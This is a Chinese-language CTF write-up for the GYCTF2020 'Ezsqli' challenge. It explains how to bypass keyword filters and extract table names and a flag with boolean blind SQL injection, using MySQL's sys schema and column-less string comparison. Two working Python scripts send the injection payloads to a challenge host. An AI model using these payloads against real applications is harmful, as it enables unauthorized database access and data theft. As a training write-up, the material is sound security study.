GYCTF2020 Ezsqli

发布于 2021-08-06  69 次阅读


考点

无 information_schema 布尔盲注 + 无列名盲注

解题

进入题目,输入框,sql注入。

经过FUZZ得到如下信息

输入 1 返回 Nu1L
输入 2 返回 V&N
输入数字返回 Error Occured When Fetch Result.
使用BP抓包进行fuzz
过滤了很多 and or information 等

and 可以使用 ||进行绕过,进一步fuzz发现

image-20210802183432409
image-20210802183458680

||后面为ture 返回 Nu1L,false返回 V&N,因此这里可以使用布尔盲注

information被过滤,可以使用sys.schema_table_statistics_with_buffer代替

因此可以编写爆破表名的POC

# -*- coding: utf-8 -*-
# @Time : 2021/8/2 17:10
# @Author : Husins
# @File : sql_post.py
# @Software: PyCharm

import requests
url = 'http://8dbf9014-dd61-4140-94d4-b1dcdec7ffdb.node4.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

得到两张表

image-20210802184417306

但是sys.schema_auto_increment_columns 被过滤了,无法获取列名,因此使用无列名注入的方式继续做题

这里的无列名注入涉及到mysql的字符串比较

image-20210802190055763
image-20210802190159258
image-20210802190232862

观察上面的三张图,我们可以得知,mysql字符串比较是按位比较的,即两个字符串取出首位进行比较,如果相同则比较第二位,否则条件成立返回1,条件不成立返回2

因此可以直接构造读取表名的POC:

# -*- coding: utf-8 -*-
# @Time : 2021/8/2 18:27
# @Author : Husins
# @File : test.py
# @Software: PyCharm
from time import sleep

import requests
url = 'http://8dbf9014-dd61-4140-94d4-b1dcdec7ffdb.node4.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
sleep(1)
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

编写脚本时,我们要注意

  1. 顺序遍历的时候,当遇到正确的字符返回的还是0,因为那时是等于,因此第一次返回1的页面应该是需要的字符+1,当我们拼接FLAG的时候要把当前获取的字符-1
  2. 每次循环字符串必须要增加,不然无法满足按位比较
  3. 再编写payload的时候 要确定好,表中的字段数,和想要获取的字段位置,可以使用select 1 | select 1, 2 | select 1, 2,3 < select * from f1ag_1s_h3r3_hhhhh)去判断

到此可以获取flag

反思

  1. 知识点覆盖不全面,不了解sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffer
  2. 无列名注入掌握知识点少
  3. mysql字符串比较不知道

参考

https://blog.csdn.net/weixin_43940853/article/details/106164162

https://www.gem-love.com/ctf/1782.html